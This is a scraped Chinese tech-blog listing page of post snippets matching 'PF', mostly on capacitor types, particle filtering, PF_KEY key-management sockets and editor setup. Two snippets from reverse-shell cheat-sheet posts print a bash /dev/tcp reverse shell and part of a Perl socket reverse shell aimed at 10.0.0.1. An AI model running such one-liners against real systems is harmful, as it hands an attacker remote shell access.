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粒子滤波PF
机器学习算法笔记:目录
机器学习算法笔记代码谱聚类LDS线性动态系统(卡尔曼滤波)贝叶斯线性回归RBM受限玻尔兹曼机ParticleFilter
粒子滤波
降维HMM隐马尔可夫模型SVM支持向量机线性分类GMM高斯混合模型EM期望最大
xiaochengJF
·
2020-08-04 21:44
机器学习
贴片电容COG、NPO 、X7R、X5R、Y5V介质区别
具体来说,就是:X7R常用于容量为3300
pF
~0.33uF的电容,这类电容适用于滤波,耦合等场合,电介质常
司端杨
·
2020-08-04 21:04
电容值及类型的选取
一般R取1~2kΩ,C取2.2~4.7μF,一般的10
PF
左右的电容用来滤除高频的干扰信号,0.1UF左右的用来滤除低频的纹波干扰,可以起到稳压的作用。
weixin_33774883
·
2020-08-04 20:25
002-1电容基础知识
一、电容的基本信息.定义:两块金属电极之间夹一层绝缘电介质构成单位:1f=1000mf=1000000ηf1ηf=1000nf=1000000
pf
串联:与电阻并联相同并联:与电阻串联相同二、参数1、标称电容量和允许偏差电容器上标识的容值电解电容器的容值
weixin_30832351
·
2020-08-04 19:43
学习笔记五:电路设计需要注意的那些事
走线和模块应该在同一层,走线设计需要添加一个10
pF
耦合电容再接进芯片引脚(不用加0欧姆电阻),天线走线不能有直角(曲
阴阳万物
·
2020-08-04 19:20
电路
分析应用
为什么大电容用于低频通路,小电容用于高频电路
般的10
PF
左右的电容用来滤除高频的干扰信号,0.1UF左右的用来滤除低频的纹波干扰,还可以起到稳压的作用滤波电容具体选择什么容值要取决于你PCB上主要的工作频率和可能对系统造成影响的谐波频率,可以查一下相关厂商的电容资料或者参考厂商提供的资料库软件
soup11
·
2020-08-04 18:15
模拟电路
Qt程序打包发布
qq-
pf
-to=pcqq.groupQt官方开发环境使用的动态链接库方式,在发布生成的exe程序时,需要复制一大堆dll,如果自己去复制dll,很可能丢三落四,导致exe在别的电脑里无法正常运行。
silent_child
·
2020-08-04 18:56
QT
Qt
程序打包
TFT LCD液晶屏显示原理
以控制液晶转向的显示器,就叫做TFTLCD.从图8的切面结构图来看,在上下两层玻璃间,夹着液晶,便会形成平行板电容器,我们称之为CLC(capacitorofliquidcrystal).它的大小约为0.1
pF
qq_43188920
·
2020-08-04 17:24
0917 电容参数X5R,X7R,Y5V等代表什么意思呢?X5R的意思就是该电容的正常工作温度为-55°C~+85°C,对应的电容容量变化为±15%
具体来说,就是:X7R常用于容量为3300
pF
~0.33uF的电容,这类电容适用于滤波,耦合等场合,电介质常数比较大,当温度从0°C变化为70°C时,电容容量的变化为±15%;Y5P与
高斯小可爱
·
2020-08-04 17:26
08-电子电路基础知识
如何修改Pspice元件库中元件的模型参数?
*createdusingPartsrelease7.1pon11/03/98*perMicrosemiestimate:Trr(est)=400ns@I=10mA,Cap@0V=80
pF
.MODELD1N4099D
liming0931
·
2020-08-04 15:34
电子技术
音频电容选择
2、前置放大器、分频器选用分频电容前置放大器、音频控制器、分频器上使用的电容,容量在100
pF
~0.1uF之间,而扬声器分频LC网络一般采用1uF~10uF之间容量较大的电容,目前高档分频器中采用CBB
画质饺子
·
2020-08-04 14:52
嵌入式硬件
MQTT服务器配置1——JAVA环境变量配置及JAVAC报错
qq-
pf
-to=pcqq.groupJDK环境变量配置JAVA_HOMEC:\ProgramFiles\Java\jdk1.8.0_181CLASS_PATH(请注意最前面的点‘.’).
[email protected]
·
2020-08-04 12:46
MQTT
【电容知识】之【NPO X7R Y5V 电容规格细谈】
一般说来:NPO材质是银白色的;NPO的容量大都在1000
pf
以下。X7R材质是浅灰色的;Y5V材质是褐色的。NPO贴片电容简述NPO(COG)贴片电容属于Class1温度补偿型电容。
conanyang
·
2020-08-04 11:17
====
知识库
====
--
电子元件基础
工作
2010
class
经典算法之
粒子滤波
粒子滤波
(
PF
:ParticleFilter)算法起源于20世纪50年代PoorMan'sMonteCarlo问题的研究,但第一个具有应用性的
粒子滤波
算法于1993年由Gordon等提出(“AnovelApproachtononlinear
为伊憔悴
·
2020-08-04 08:46
算法研究
Navigation博客
:map_server:用于导航过程中的地图导入move_base:使用迪杰斯特拉算法进行路径规划,在这一过程中需要导入地图和车模型的相关信息fake_localization:使用自适应的蒙特卡罗(
粒子滤波
Chen.Yi
·
2020-08-04 06:50
SLAM
为sap的alv的最左侧添加【选中】按钮用于同时选中多行 ...
abap编程中alv的显示代码如下:CALLFUNCTION'REUSE_ALV_GRID_DISPLAY'EXPORTINGI_CALLBACK_PROGRAM=SY-REPIDI_CALLBACK_
PF
_STATUS_SET
weixin_34087301
·
2020-08-04 05:43
pf
_ring DNA接收流程代码分析
pf
_ringDNA接收流程代码分析经过一个月的学习,对
pf
_ringDNA的内核部分有了一些认识,本文侧重
pf
_ring对ixgbe的改动分析。
weixin_30292843
·
2020-08-04 03:33
robot_pose_ekf源码解读
卡尔曼滤波理论下面几个网址对卡尔曼滤波算法有详细的描述:KalmanFilterForDummiesHowaKalmanfilterworks,inpicturesSLAM中的EKF,UKF,
PF
原理简介卡尔曼滤波与扩展卡尔曼滤波的重要区别
shoufei403
·
2020-08-04 00:40
SLAM
计算机组成原理-实验三-多功能ALU设计实验
本实验要求设计一个具有8种运算功能的32位ALU,并能够产生运算结果的表示:结果为零标志ZF(ZeroFlag)、进借位标志位CF()溢出标志OF(OverflowFlag)、符号位标志SF(SignFlag)和奇偶标志
PF
咸鱼不会游泳
·
2020-08-03 23:25
计算机组成原理实验
爬取调用百度地图API搜索的底层详细数据
qq-
pf
-to=pcqq.c2c2、输入待搜索内容(如
杨福星
·
2020-08-03 19:13
工具
socket实现进程间通信
manunix内容如下:NAME(名称)unix,
PF
_UNIX,AF_UNIX,
PF
_LOCAL,AF_LOCAL?用于本地内部进程通讯的套接字。
林疯子
·
2020-08-03 19:58
ros navigation 导航框架简介
各功能包介绍amcl:amcl的作用是根据机器人自身的里程数值以及地图特征,利用
粒子滤波
修正机器人在已知的地图内的位置base_local_planner:局部路径规划器dwa_local_planner
feidaji
·
2020-08-03 16:56
slam
C++笔试题之判断链表中是否有环,并计算环的长度
快指针
pf
(f就是fast的缩写)每次移动2个节点,慢指针ps(s为slow的缩写)每次移动1个节点,如果快指针能够追上慢指针,那就说明其中有一个环,否则不存在环。
灿哥哥
·
2020-08-03 15:37
C++笔试题
ROS Navigation Stack之概要介绍
的作用就是根据外部传感器的信息来驱动机器人完成导航.至于具体是如何实现的,我以后将对每一个包都会进行介绍和分析(欢迎关注),下面先看看这个框架中每个功能包的介绍.各功能包介绍amcl:amcl的作用是根据机器人自身的里程数值以及地图特征,利用
粒子滤波
修正机器人在已知的地图内的位置
茶色少年
·
2020-08-03 14:34
ROS开发
C++ 中cout
basic_ostream&__os){returnflush(__os.put(__os.widen('\n')));}__ostream_type&operator<<(__ostream_type&(*__
pf
iteye_5282
·
2020-08-03 10:43
CRichEditCtrl系列讲堂7 设置行间距源代码
设置行间距源代码CRichEditCtrlm_RichEdit;LONGlineSpace=(LONG)(X*20);//X为要设置的行间距PARAFORMAT2
pf
;ZeroMemory(&
pf
,sizeof
xzhdy
·
2020-08-03 09:15
CRichEditCtrl系列
两个指针之间的运算
int*
pf
1,*
pf
2;intarr[10]={0};
pf
1=arr;
pf
2=arr+1;autoresult=
pf
2-
pf
1;计算机具体运算
Jeff_
·
2020-08-03 07:08
SpringCloud零基础上手(四)——服务发现以及Feign(声明式RESTful服务调用)
接着上篇的内容,我们再创建一个项目充当服务消费者,命名为
pf
-font,如果
pf
-login视为后端,那么
pf
-font就是前端,达到前后端分离的目的。
中国_李彬
·
2020-08-03 01:07
spring
cloud微服务上手篇
sql server 2008 r2 升级
SQLSERVER2008R2序列号:数据中心版:PTTFM-X467G-P7RH2-3Q6CG-4DMYB开发者版:MC46H-JQR3C-2JRHY-XYRKY-QWPVM企业版:R88
PF
-GMCFT-KM2KR
云中雁012345
·
2020-08-02 19:19
sql
server
数据库
常见反弹shell总结
nc-nlvp12342、bash:bash-i>&/dev/tcp/10.0.0.1/80800>&13、perl:perl-e'useSocket;$i="10.0.0.1";$p=1234;socket(S,
PF
_INET
weixin_45116657
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2020-08-02 14:38
安全漏洞
python将文本转化成语音并播放
track=cp:aipinzhuan|
pf
:pc|pp:AIpingtai|pu:title|ci:|kw:1000
qdPython
·
2020-08-02 13:14
反弹shell的十种姿势(偶然看到一些整理下)
bash-i>&/dev/tcp/10.0.0.1/80800>&1,注意某些linux不支持perl版本:perl-e'useSocket;$i="10.0.0.1";$p=1234;socket(S,
PF
_INET
chuancuili8770
·
2020-08-02 12:49
Django项目新增下载功能
数据表对应关系方法一:从PaperPrintDetail中获取已送印试卷id--->根据对应
pf
_id获取espf中paper_id--->根据paper_id获取PaperFile中试卷及其名称。
chaichai1997
·
2020-08-02 12:11
Android-->build.gradle-->buildTypes
build.gradle,那么到底怎么配置呢android{compileSdkVersion25buildToolsVersion"25.0.3"defaultConfig{applicationId"com.
pf
.listener14
只是丶很孤单
·
2020-08-01 14:13
android
Linux对ipsec的支持
转:https://blog.csdn.net/cxw06023273/article/details/83809492前言在Linux2.6内核中自带了
PF
_KEY协议族的实现,这样就不用象2.4那样打补丁来实现了
daa20
·
2020-08-01 11:10
ipsec
Linux内核中
PF
_KEY协议族的实现(3)
本文档的Copyleft归yfydz所有,使用GPL发布,可以自由拷贝,转载,转载时请保持文档的完整性,严禁用于任何商业用途。msn:
[email protected]
来源:http://yfydz.cublog.cn5.10添加/更新SPD(安全策略)//添加安全策略到安全策略数据库SPDBstaticintpfkey_spdadd(structsock*sk,structsk_buff
cxw06023273
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2020-08-01 11:37
linux转载
密钥管理套接字
一、概述(1)RFC2367介绍了一个通用密钥管理API,可用于IPsec和其他网络安全服务;该API创建了一个新的协议族即
PF
_KEY域;在这个密钥管理域中,唯一支持的一种套接字是原始套接字;(2)密钥管理套接字上支持
weixin_30498807
·
2020-08-01 09:19
基于openswan klips的IPsec实现分析(五)应用层和内核通信(2)
IPsec实现分析(五)应用层和内核通信——内核操作转载请注明出处:http://blog.csdn.net/rosetta在数据发送一节讲过,加载模块时会执行pfkey_init()初始化与用户层通信的
PF
_KEY
sweird
·
2020-08-01 09:34
openswan源码分析
Linux开源代码分析
IPsec实现原理分析
Linux内核中
PF
_KEY协议族的实现(1)
Linux内核中
PF
_KEY协议族的实现(1)本文档的Copyleft归yfydz所有,使用GPL发布,可以自由拷贝,转载,转载时请保持文档的完整性,严禁用于任何商业用途。
dxphjt
·
2020-08-01 09:05
Linux——密钥管理Socket
2.http://man.cx/
pf
_key(7p):这个man命令并不是Linux的,应该是BSD的,但原理相同。3.UNPv1第19章。
firo_baidu
·
2020-08-01 09:27
sublime python环境(代码自动补全,调试python脚本等插件)
将下面的代码粘贴进去回车SublimeText3用这个:importurllib.request,os;
pf
=‘PackageControl.sublime-pack
MrYucsdn
·
2020-08-01 08:27
Python
Sublime Text2 中文乱码
importurllib2,os;
pf
='PackageControl.sublime-package';ipp=sublime.installed_packages_path();os.makedirs
明月的味道
·
2020-08-01 06:59
卡特尔16
PF
性格测试与答案
关于性格的测量表有很多,其中16
PF
是最著名而有效的。卡特尔16种个性因素测验(16
PF
),是美国伊利诺州立大学个性及能力测验研究所的卡特尔教授于1949
weixin_34301307
·
2020-08-01 04:49
python代码自动补齐插件
python主要使用sublimetext2在官网直接下载就可以下载完成后输入快捷键ctrl+~打开下边的python解释器在这里输入importurllib2,os;
pf
='PackageControl.sublime-package
weixin_30894583
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2020-08-01 03:57
一键快速部署CodeBlocks的EGE图形库工具
工具下载链接链接:https://pan.baidu.com/s/1
pF
weixin_30439031
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2020-08-01 03:39
小程序之动态获取列表对象详细信息
{{item.
pf
_name}}{{item.
pf
_id}}-->跳转函数方法goDetail,跳转过去的对象ID就是item.
pf
_id,点击对象就是index。
weixin_30279751
·
2020-08-01 03:03
unity问题整理
qq-
pf
-to=pcqq.c2c物体闪烁、锯齿、白边黑边?答:要开抗锯齿,模型减面,烘焙光照贴图。
Kyle_An
·
2020-08-01 00:22
Sublime Text 2 安装python自动补全插件jedi
importurllib.request,os,hashlib;h='2915d1851351e5ee549c20394736b442'+'8bc59f460fa1548d1514676163dafc88';
pf
曹朋羽
·
2020-08-01 00:35
Python
sublime 查看android源码 catgs 关联
一、安装PackageControl插件1.打开控制台方法1:View->showconsole方法2:ctrl+~2.输入如下代码:importurllib2,os;
pf
='PackageControl.sublime-package
CodeYourBrother
·
2020-07-31 23:24
android
Android-->build.gradle-->aaptOptions,sourceSets,adbOptions,compileOptions
current/index.htmlandroid{compileSdkVersion25buildToolsVersion"25.0.3"defaultConfig{applicationId"com.
pf
.listener15
只是丶很孤单
·
2020-07-31 20:33
android
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